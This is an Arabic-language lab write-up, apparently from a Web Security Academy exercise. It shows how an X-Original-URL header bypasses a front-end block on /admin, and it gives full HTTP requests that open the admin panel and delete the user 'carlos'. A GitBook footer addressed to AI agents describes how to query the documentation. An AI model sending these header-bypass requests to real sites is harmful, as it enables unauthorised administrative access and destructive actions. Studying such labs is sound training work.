> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/access-control/bypassing-url-based-access-control.md).

# تجاوز التحكم في الوصول القائم على عنوان URL

### يمكن التحايل على التحكم في الوصول القائم على عنوان URL

في هذا التمرين، يحتوي الموقع على لوحة إدارة تقع عند **/admin**، وهي محجوبة رسميًا بواسطة عامل تصفية أمامي يمنع الوصول الخارجي. / ومع ذلك، يستخدم تطبيق الواجهة الخلفية إطار عمل يتعرّف على **X-Original-URL** الرأس، وبالتالي يتجاوز هذا القيد.

<figure><img src="/files/6d000781105dff82a98f4b3c0f10d51e44449f44" alt=""><figcaption></figcaption></figure>

#### **التحليل والاستغلال**

من خلال محاولة الوصول مباشرةً إلى **/admin**، يتم رفض الوصول. / لتجاوز هذا العامل، ما عليك سوى اعتراض طلب (مثلًا إلى `/` الجذر) وإضافة الرأس التالي:

```http
X-Original-URL: /admin
```

مثال على طلب معدّل:

```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```

يفسّر خادم الواجهة الخلفية هذا الرأس ويعيد **200 OK**، مما يتيح الوصول إلى لوحة الإدارة.

<figure><img src="/files/46184c43204d719693fc08104c35547eb1d59f3a" alt=""><figcaption></figcaption></figure>

#### **حذف المستخدم**

لإزالة المستخدم **carlos**، يتم إنشاء طلب جديد عبر إعادة توجيه عنوان URL الداخلي باستخدام الرأس نفسه:

```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```

ثم تُنفَّذ عملية الحذف بنجاح.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/access-control/bypassing-url-based-access-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
